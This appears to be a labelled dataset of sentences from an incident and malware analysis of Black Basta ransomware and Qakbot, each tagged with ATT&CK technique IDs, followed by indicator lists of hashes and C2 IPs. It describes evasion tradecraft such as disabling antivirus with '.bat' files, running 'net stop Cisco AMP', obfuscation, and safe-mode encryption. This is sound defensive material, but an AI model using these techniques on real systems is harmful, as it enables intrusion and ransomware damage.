{"sentence": "The \"Claim_Copy\" shows the icon for windows file explorer.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Clicking on these calls the corresponding JavaScript file contained within each iso.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "In both cases the JavaScript files set several variables before running the \".cmd\" file contained within the ISO.", "labels": ["T1059.003"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "This is likely done as a method to avoid detection from Log Analysis Engines, such as the Sagan Engine, as well as other monitoring services such as Microsoft's Defender or Sentinel.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The command is called with echo off, so that no text will be displayed to the user.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Ultimately, this CMD file calls the \"db\" file.", "labels": ["T1059.003"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "In both samples, the \"db\" file is not a database, but is the actual Qakbot trojan.", "labels": ["T1059.003"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Something interesting to note: the \"campus.txt\" contains an excerpt from \"Through the Looking Glass\" by Lewis Carol.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "This inclusion may be to add easily changeable padding to the ISO.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Doing so would allow the easy addition or subtraction of data in order to change the ISO’s hash value without changing any important content of the executables.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Following detonation of Qakbot, the malware copied itself to \"$CURRENTUSER\\AppData\\Roaming\\Microsoft\\Isoaahffo\\djkuuhd.dll,\" as confirmed by the file's hashes shown below, and sets itself to auto run.", "labels": ["T1547.001"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Following this, the malware begins to beacon out to hard coded C2 servers.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "A breakdown of the observed IP’s and their ports can be found in the INDEX A below.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "This contains over 100 IP’s for potential C2 servers.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "During the initial detonation of 5898, the process imbedded itself into wermgr.exe, the Windows Error Reporting Manager (Process ID 6660).", "labels": ["T1055"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Further analysis of the registry keys added by the sample were able to be decrypted by leveraging the decryption script found at the link \"https://github.com/drole/qakbot-registry-decrypt\".", "labels": ["T1053.005"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "These show the full path to the dropped file \"xjkuuhd.dll\" as well as the Qakbot campaign identifier: \"obama206.\"", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "As with the case with other Qakbot investigations, multiple potential IP’s were observed during the testing.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "During the incident, the first warning sign of compromise came from the victims Cisco Advanced Malware Protection alerting.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Cisco AMP detected an attempt to contact \"76[.]169[.]76[.]44\"[Van Nuys, CA] over TCP port 2222.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "It is interesting to note that other IP’s were attempted to be reached over port TCP 2222, however, this C2 node was the only IP to return any data over TCP port 2222, which may be why this alert triggered.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "According to Suricata logs, this was also the first IP that was reached out to via 2222.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "A later review of the logs revealed that the first attempt to contact the C2 ip’s (\"61[.]70[.]29[.]53\"[Taiwan]).", "labels": ["T1095"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Due to TCP port 2222’s common use as an alternate port for SSH communication, the Malware Analyst recorded a manual SSH connection to the emulated C2 host in order to show the difference between an SSH connection and the connection made by the Malware sample.", "labels": ["T1095"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Evidence suggests that the sample does not communicate over SSH and the communication is consistent with HTTP/S traffic.", "labels": ["T1071.001"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The malware analyst attempted to connect via SSH to the emulated C2 host.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Note the first packet from the experimental machine to the emulated C2 device following the 3-way TCP handshake shows header information containing the OpenSSH client information.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "This was produced manually as an example of an SSH connection while SSH was running on the emulated C2 host on port 2222.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "An overview of the lab setup and tools can be found in INDEX B. While continuing to run the SSH client on the emulated C2 device, the malware was detonated on the VM, we can see that the same packet following the 3-way handshake no longer contains SSH information but is detected as a Client Hello.", "labels": ["T1071.001"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The emulated C2 Server is now running an HTTPS server on TCP port 2222.", "labels": ["T1071.001", "T1095"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "This PCAP above shows the conversation from the 3-way handshake to the resetting of the connection.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Following observation of the malware samples, we now know that most of the connection attempts to the C2 IP’s are conducted over TCP port 443.", "labels": ["T1095"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Because of the common use of this port, and the use of TLS in these connections, both attempts and the successful connections went undetected by Suricata and Cisco AMP.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Many of the connections over 443 resulted in minimal connections consistent with nothing more than TCP negations.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "However, IP’s \"119[.]42[.]124[.]18\"[Thailand] and \"193[.]3[.]19[.]37\"[Russia] showed multiple packets and data transferred, including the exchange of TLS certificates.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The size and length of connection indicates that the second stage was downloaded from \"193[.]3[.]19[.]37\"[Russia].", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The largest connection between P0 and the C2 domain.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Because of the amount of data outbound, this also may indicate some data exfiltration or interaction with the downloaded second stage from the C2.", "labels": ["T1041"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "POST-EXPLOITATION TECHNIQUES, TACTICS, AND PROCEDURES COMMAND AND CONTROL Initial Command and Control was initially conducted from \"23.19.58.43\"[zedorocop[.]com] and \"23.106.160.141\" [danimos[.]com].", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "POTENTIAL COBALT STRIKE INSTALLATION - TOX5.EXE Initial static review of the tox5 sample did not reveal much information, indicators show that this may have the ability to clear event logs.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "A dynamic analysis of \"Tox5\" shows the malware drops itself in a randomly generated name folder under the \"ProgramData\" directory and adds itself to a scheduled task.", "labels": ["T1053.005"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "During the lab testing of the tox5 sample, we observed the sample gain persistence through duplication of the sample.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "This is observed below by comparing the file hashes for \"tox5.exe\" and \"C:\\ProgramData\\lplshr\\basinqt.exe.\"", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Although no obvious signs of compromise were apparent to the user of the infected host, a review of the network traffic from the host showed the newly installed program reached out to \"gerhiles[.]com\", which had been observed during the incident as a Command and Control site.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Following the resolution of gerhiles[.]com, and the activation of \"INetSim\" to simulate a website, the PCAP above shows connections were attempted over port 4001.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Leveraging \"netstat -a -n -o\" revealed the PID of the service connecting on port 4001.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Task manager was then use to reveal the service running on PID 3488, which was renamed instance of Tox5.", "labels": ["T1057"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Because of the beaconing activity, persistence, and apparent ability to wipe event logs, it is likely that tox5 is a component of Cobalt Strike or similar framework.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "LATERAL MOVEMENT: SMB AND RDP Brute Ratel allows for lateral movement leveraging RPC to create SMB traffic.", "labels": ["T1570"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Although no direct RPC actions were observed, possibly from lack of logging or the method of RPC use, multiple logs throughout the incident show the transfer of files using SMB.", "labels": ["T1570"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Logging shows actions taken by the attacker that were recorded by RDPClip in the form of clipboard logging, indicating the use of Remote Desktop Protocol.[CI1]", "labels": ["T1021.001"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "[SD2] After the connection to the internet and shared domains were severed, automated processes continued to propagate malware.", "labels": ["T1570"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Files commonly observed transferred via SMB include: Black Basta Ransomware \"Client_s.exe\" and \"Client.exe\" Cobalt Strike beacon with the name of \"Ticket-5731.xls\" \".bat\" files designed to disable Cisco AMP / Microsoft Defender Clipboard logging", "labels": ["T1059.003", "T1562.001", "T1570"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Showing the Transfer of Cobalt Strike Beacons using RDPClip: The first part of the command is below, with the payload redacted for size and ease of readability.", "labels": ["T1021.001", "T1570"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "This occurred immediately following the clipboard transfer of the command \"net stop Cisco AMP\".", "labels": ["T1027", "T1562.001"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The second encoded Base64 string was not only base64 but also Gziped for size and obfuscation.", "labels": ["T1027"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "This shows the decoded and uncompressed data.", "labels": ["T1140"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Leveraging the Cobalt Strike payload decoder from Github user \"0xtornado\" shows that the payloads were sent using the user agent below.", "labels": ["T1140"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Additional Files and commands observed transferred detected via clipboard logging:", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The following 31 commands were ran between Sep 22, 2022 @ 20:01:39.000 and Sep 22, 2022 @ 20:02:46.000.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The syntax indicates these are the commands used to reset the administrative passwords following the attempted lock out of the threat actor.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "According to Google translate, the Russian phrases translate to \"bury along the way\" and \"launch with balloons\".", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "This may be direct translations, however adding any additional character following the Russian phrases changes the translation to \"Lock on Path\", and \"launch with balls\" respectfully.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Also note the use of \"-forcepath\" and \"-bomb\".", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "A search of Active Directory for users whose passwords never expire, and the last set date while writing to a file for later exfiltration: Stopping Cisco AMP / Disabling Microsoft Defender, these are the same commands as observed in the \".bat\" files: Transfer and use of Ticket-5731.xls", "labels": ["T1059.003", "T1562.001"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "(determined to be Cobalt Strike): Url to download \"cob_12.dll\" and \"tox5.exe\".", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Although cob_12.dll was not collected for technical sample, tox5.exe was reviewed: Clipboard logging showing the “uninstall” commands for Windows Defender: Adding an Admin to ESXi environment: Domain Controller detection: Connection attempt to a \"SH/WEB\" domain:", "labels": ["T1562.001"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Command showing the use of \"Bitsadmin\" to transfer the Black Basta Ransomware: Connection from Client by threat actor: DISABLING ANTIVIRUS/MALWARE SOFTWARE USING \".BAT\"", "labels": ["T1059.003", "T1562.001"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "FILES", "labels": ["T1059.003", "T1562.001"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The two \".bat\" files that were sent throughout the organization were both designed to turn off Antivirus and Antimalware software.", "labels": ["T1059.003", "T1562.001"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "It is interesting to note that “cc.bat” does not use any obfuscation and just contains the simple command to stop AMP Orbital.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "This could indicate that it was written hastefully in order to get it onto the target environment.", "labels": ["T1059.003"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "\"cc.bat\" is a simple script designed to stop Cisco AMP.", "labels": ["T1059.003", "T1562.001"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "“W.bat”, on the other hand, has some simple but clever obfuscation in place.", "labels": ["T1027"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "When using \"vim” or another text editor, the .bat file appears to contain Chinese characters.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "However, performing \"cat\" or \"strings\" reveals the actual data.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "This uses a mixture of disguising the ASCII as UTF-16 via manipulating the start of the file, as well as obfuscating the data using a simple cypher.", "labels": ["T1027"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The strings of characters following \"set\" act as the key.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "When the script is executed, the system will swap out the numbers in the body for the place in the key string.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The link from Superuser[.]com in INDEX D goes into more specifics on how this is done.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "\"w.bat\" as viewed through a text editor.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "For this example, the text editor \"vim” was used to open the file: \"w.bat\" as viewed through the bash command \"cat\":", "labels": ["T1059.003"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "After copying and pasting the body of \"w.bat\" into its own text document \"w.txt\", the team was able to run a lengthy \"sed” command against the file to reveal the below: The sed statement used to decode the body of \"w.bat\":", "labels": ["T1140"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "EXFILTRATION THROUGH RECLONE Once the file server was identified, an FTP connection was established to an external site.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Over the past several years, multiple cyber security firms and the FBI have posted increased observation of the use of “RClone” to exfil data.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Suricata Flow log from \"Subsidiary PIE\" to the IP resolved for “Rclone”.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "This likely shows the connection containing the download of RCLONE.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "First connection on Subsidiary PIE to the external file dump: First connection on Construction PIE to the external file dump.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "(Other logs are available showing the DNS request and download of RClone for the Construction domain as well): ENCRYPTION VIA BLACK BASTA RANSOMWARE", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Two file names were observed during the incident \"Client_s.exe\" and \"Client.exe.\"", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "It is expected that the different naming schemes are related to the different variations of the ransomware.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Although no sample was able to be provided for Client.exe (which is believed to be the ESXi variant), Quadrant was able to obtain a copy of \"Client_s.exe\" for Windows hosts.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "From a static malware analysis review, very little was initially able to be obtained from the sample aside from the \".basta\" suffix and a relation to \"Fax.\" Static analysis conducted inside of x32dbg, showing a relation to \"FAX\" and the potential use of the directory \"ProgramData\": Upon detonation, running the malware sets itself up as the service \"Fax\" and enables it to start during safe boot.", "labels": ["T1543.003"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The ransomware then proceeds to restart into safe mode using bcdedit.exe.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "BCDEdit is a command line program in windows which is used to modify the “Boot Configuration Data.”", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "While in safe mode, the encryption of files occurs.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Once the encryption is complete, the system is then restarted into the standard operating mode.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Using the automated malware analyzer CAPEv2 allowed for the detection and capture of this JSON, which indicates the creation of a Mutex: Using the automated malware analyzer CAPEv2 allowed for the detection and capture of this JSON, which shows the addition of \"Fax\" to the registry allowing it to start in Safemode: Using the automated malware analyzer CAPEv2 allowed for the detection and capture of this JSON which shows the use of BCDEdit to restart the host into safemode with networking:", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Following infection, the host restarts into safe mode where the encryption action takes place: Following the encryption, the computer then restarts into standard mode.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The background has been replaced to show \"Your Network is Encrypted by the Black Basta group.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Instruction in the file readme.txt\" the only files still accessible to the user are the \"readme\" files.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "During the end state of the active compromise, two flags were observed in Clipboard logging, \"-bomb\" and \"-forcepath\".", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The writeups conducted by \"Northwave-Security\" and \"Deepinstinct\" share more light onto these flags.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "These show that \"bomb\" designates a full detonation of all reachable hosts, and \"forcepath\" is for a specific instance or directory.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "According to the recent writeups above, this indicates that this is one of the newest renditions of the malware.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "We are attempting to better understand the use of the \"-bomb\" flag and how it communicates with the other infected machines.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "It is likely that the reason the machine is restarted into safe mode with networking indicates that this communication may occur at this time.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "INDEX", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "A: INDICATORS OF COMPROMISE FILE NAMES AND HASH VALUES File Name SHA-256 Hash Claim_Copy_1796.iso 2cf56e6c050d0c9d8ada6cdb79a8ed2b8bbc25cd7d33ccc79aeedb31b5ad00df damagesMeaning.js 7a39324822941014609f0fd7d05f1adbbccc3f36d79103e2589251680f3b6c63 centipede.gif e8f5fa12faea9430645853fbb24ce46a5a62cb906168dd17b62d865ddfe201e3 DecomposedLoners.cmd cd5b4bd824bad0be78e4cdf6d7fe8a950bd63f294713b8cb49de887d8a8410bc excite.jpg 4fd4fdedb11b76a24fba289e0b3a8ed07261f98d279932420c7af779663605f8 sinkers.db c4875bd0683467c1e5d44f80b1d5abf6ac9b6f5bf5b6750a1e653416a68ed006 Claim_Copy_5898.iso 474b800fa4f8c2638607b012029cb134b58534e7817fbf3658c9c1d8c78204fa Claim_Copy.lnk e2eb9029fd993a9ab386beb7ca4fa21a1871dc0c7568eb802cac1ea3c53cad8b campus.txt 319704f093b71286985716d87c6fb20d6ddc334be6f1ccc042de8c73f7f5df36 centipede.gif e8f5fa12faea9430645853fbb24ce46a5a62cb906168dd17b62d865ddfe201e3 clockwatcherMinty.js 14d53c3d675458863ee2b336a4203f680932181ff5db99bb2f1640ffd44947b5 excite.jpg 4fd4fdedb11b76a24fba289e0b3a8ed07261f98d279932420c7af779663605f8 meddled.db 4f7d97bf4803bf1b15c5bec85af3dc8b7619fe5cfe019f760c9a25b1650f4b7c unspoolingPeak.cmd 4b3eb841b765c4aeb6b273e42a60e1f8ba3d3d94c613a27cd6446a354c2b7285 w.bat 4e54d7ed5055bc0e7858d49aaec17bd3ed69e8da94262c6a379ddd81abc31b5e cc.bat 90e9bd336e51c88002e5e9a109c5fb0e57d2c90cd54d4bc7480b69fa302beb73 tox5.exe d4dd79c97b091dd31791456c56d727eb0b30af9c0172dd221556d28495b8a50f Client.exe 5b8bf891808be44f24156cf5430730e610c0df6eaaa4b062623a7a675d234b62 Cleint_s.exe 17eccc7e2ce38dafd41d68861da636d7c05290b95d4fd75ec87b819094702cf6 Zfgufgfvezdnbcvjkzctpvfdj.dll 62cb24967c6ce18d35d2a23ebed4217889d796cf7799d9075c1aa7752b8d3967 HARDCODED IP'S OBSERVED FROM QAKBOT SAMPLES IP Port Observed Country AbuseIPDB Score 1.10.253.207 443 Thailand 0 2.89.78.130 993 Saudi Arabia 0 14.183.63.12 443 Viet Nam 0 27.73.215.46 32102 Viet Nam 0 31.166.116.171 443 Saudi Arabia 30 31.32.180.179 443 France 0 31.54.39.153 2078 United Kingdom 0 37.37.206.87 995 Kuwait 0 37.76.197.124 443 Palestine 0 41.103.226.172 443 Algeria 0 41.105.197.244 443 Algeria 0 41.107.78.223 995 Algeria 0 41.142.132.190 443 Morocco 0 41.69.103.179 995 Egypt 0 41.96.171.218 443 Algeria 0 45.160.124.211 995 Brazil 0 45.183.234.180 443 Brazil 0 45.241.140.181 995 Egypt 0 45.51.148.111 993 United States of America 0 46.116.229.16 443 Israel 0 46.186.216.41 32100 Kuwait 0 47.146.182.110 443 United States of America 0 61.105.45.244 443 Korea (Republic of) 0 61.70.29.53 443 Taiwan 0 62.114.193.186 995 Egypt 0 64.207.215.69 443 Afghanistan 0 66.181.164.43 443 Mongolia 0 68.129.232.158 443 United States of America 0 68.151.196.147 995 Canada 0 68.224.229.42 443 United States of America 0 68.50.190.55 443 United States of America 0 68.53.110.74 995 United States of America 0 70.49.33.200 2222 Canada 0 70.51.132.197 2222 Canada 0 70.81.121.237 2222 Canada 0 71.10.27.196 2222 United States of America 0 72.66.96.129 995 United States of America 0 72.88.245.71 443 United States of America 0 76.169.76.44 2222 United States of America 0 78.182.113.80 443 Turkey 0 81.214.220.237 443 Turkey 0 81.56.22.251 995 Italy 0 83.110.219.59 993 United Arab Emirates 0 84.238.253.171 443 Bulgaria 0 84.38.133.191 443 Netherlands 0 85.114.110.108 443 Palestine 0 85.139.203.42 32101 Portugal 0 85.98.206.165 995 Turkey 0 85.98.46.114 443 Turkey 0 87.220.229.164 2222 Spain 0 87.243.113.104 995 Bulgaria 0 87.75.195.211 443 United Kingdom 0 88.231.221.198 443 Turkey 0 88.231.221.198 995 Turkey 0 88.232.207.24 443 Turkey 0 88.242.228.16 53 Turkey 0 88.245.168.200 2222 Turkey 0 88.246.170.2 443 Turkey 0 88.251.38.53 443 Turkey 0 89.211.217.38 995 Qatar 0 89.211.223.138 2222 Qatar 0 91.116.160.252 443 Spain 0 94.99.110.157 995 Saudi Arabia 0", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "95.136.41.50 443 Portugal 0 98.180.234.228 443 United States of America 0 99.232.140.205 2222 Canada 0 99.253.251.74 443 Canada 0 100.1.5.250 995 United States of America 0 102.101.231.141 443 Morocco 0 102.184.151.194 995 Egypt 0 102.38.97.229 995 South Africa 0 102.40.236.32 995 Egypt 0 105.105.104.0 443 Algeria 0 105.111.60.60 995 Algeria 0 105.99.80.23 443 Algeria 0 109.155.5.164 993 United Kingdom 0 109.200.165.82 443 Yemen 0 110.4.255.247 443 Japan 0 113.22.102.155 443 Viet Nam 0 118.174.200.169 995 Thailand 0 118.216.99.232 443 Korea (Republic of) 0 118.68.220.199 443 Viet Nam 0 119.42.124.18 443 Thailand 0 119.82.111.158 443 India 0 123.240.131.1 443 Taiwan 1 134.35.9.144 443 Yemen 0 138.0.114.166 443 Brazil 0 139.195.132.210 2222 Indonesia 0 139.195.63.45 2222 Indonesia 0 141.164.254.35 443 Saudi Arabia 0 151.234.63.48 990 Iran (Islamic Republic of) 0 154.181.203.230 995 Egypt 0 154.238.151.197 995 Egypt 0 154.246.182.210 443 Algeria 0 156.213.107.29 995 Egypt 0 156.219.49.22 995 Egypt 0 160.152.135.188 2222 Nigeria 0 160.176.204.241 443 Morocco 0 167.60.82.242 995 Uruguay 0 169.1.47.111 443 South Africa 0 171.238.230.59 443 Viet Nam 0 171.248.157.128 995 Viet Nam 0 173.218.180.91 443 United States of America 0 176.42.245.2 995 Turkey 0 177.255.14.99 995 Colombia 0 179.108.32.195 443 Brazil 0 179.223.89.154 995 Brazil 0 179.24.245.193 995 Uruguay 0 180.180.131.95 443 Thailand 0 181.111.20.201 443 Argentina 0 181.118.183.123 443 Argentina 0 181.127.138.30 443 Paraguay 0 181.231.229.133 443 Argentina 0 181.56.125.32 443 Colombia 0 181.80.133.202 443 Argentina 0 181.81.116.144 443 Argentina 0 182.213.208.5 443 Korea (Republic of) 0 184.82.110.50 995 Thailand 0 184.99.123.118 443 United States of America 0 186.105.182.127 443 Chile 0 186.120.58.88 443 Dominican Republic 0 186.154.92.181 443 Colombia 0 186.167.249.206 443 Venezuela (Bolivarian Republic of) 0 186.50.245.74 995 Uruguay 0 187.205.222.100 443 Mexico 0 188.157.6.170 443 Hungary 0 189.19.189.222 32101 Brazil 0 190.158.58.236 443 Colombia 0 190.44.40.48 995 Chile 0 190.59.247.136 995 Trinidad and Tobago 0 191.254.74.89 32101 Brazil 0 191.84.204.214 995 Argentina 0 191.97.234.238 995 Argentina 0 193.3.19.37 443 Russian Federation 0 194.166.205.204 995 Austria 0 194.49.79.231 443 United States of America 0 196.112.34.71 443 Morocco 0 196.92.172.24 8443 Morocco 0 197.11.128.156 443 Tunisia 0 197.204.243.167 443 Algeria 0 197.49.50.44 443 Egypt 0 197.94.84.128 443 South Africa 0 201.177.163.176 443 Argentina 0 210.195.18.76 2222 Malaysia 0 211.248.176.4 443 Korea (Republic of) 0 212.156.51.194 443 Turkey 0 219.69.103.199 443 Taiwan 0 220.116.250.45 443 Korea (Republic of) 0 ADDITIONAL IP'S OBSERVED IP Domain Country Abuseipdb Score 23.106.123.13 NA Singapore 0 23.106.160.141 danimos[.]com United States of America 0 23.19.58.43 zedorocop[.]com United Kingdom 0 23.29.115.172 NA United States of America 0 45.132.226.209 NA Switzerland 3 45.134.22.54 NA Italy 0 45.153.241.64 NA Germany 0 45.61.138.29 NA United Kingdom 0 45.86.200.21 NA Netherlands 0 45.86.200.77 NA Netherlands 0 45.89.242.2 NA United Kingdom 1 47.87.229.39 temp[.]sh United States of America 0 64.52.80.212 NA United States of America 0 78.141.213.249 NA Netherlands 0 104.194.10.130 NA United States of America 0 104.243.38.65 NA United States of America 0 138.199.59.52 NA Poland 0 146.70.106.61 NA Netherlands 0 146.70.86.44 gerhiles[.]com Netherlands 0 151.236.28.34 NA Netherlands 0 172.93.100.71 NA United States of America 0 176.10.80.37 NA United Kingdom 0 176.90.193.145 NA Turkey 0 185.163.110.124 NA Romania 0 185.77.218.10 NA Finland 0 194.37.97.161 NA United States of America 0 194.5.53.215 NA France 0 194.5.53.86 NA France 0 207.229.167.36 NA United States of America 100 212.30.37.227 NA Netherlands 0 INDEX B: MALWARE ANALYSIS LAB AND TOOL OVERVIEW", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The lab environment consisted of three Virtual Machines running inside of VMWare Workstation 16 Pro.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The network was configured not to allow any connection to the internet.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "HOST 1: ANALYSIS HOST", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The analysis host ran the Linux distro \"REMnux.\"", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Upon startup, an iptables setup script was ran containing all the hardcoded C2 IP’s for the Qakbot malware.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "This was done in order to all the malware to communicate with the hard coded IP’s without allowing commination to a C2 host.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Additional software used during the analysis includes:", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Wireshark:", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Network packet capture and analysis Inetsim: An \"Internet Simulation\" tool which creates fake http and other services for malware samples to interact with.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "FakeDNS: A fake DNS service which responds with a predetermined IP.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Default IP is the host FakeDNS is installed on.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Readpe.py: Used to read Portable Executable files.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
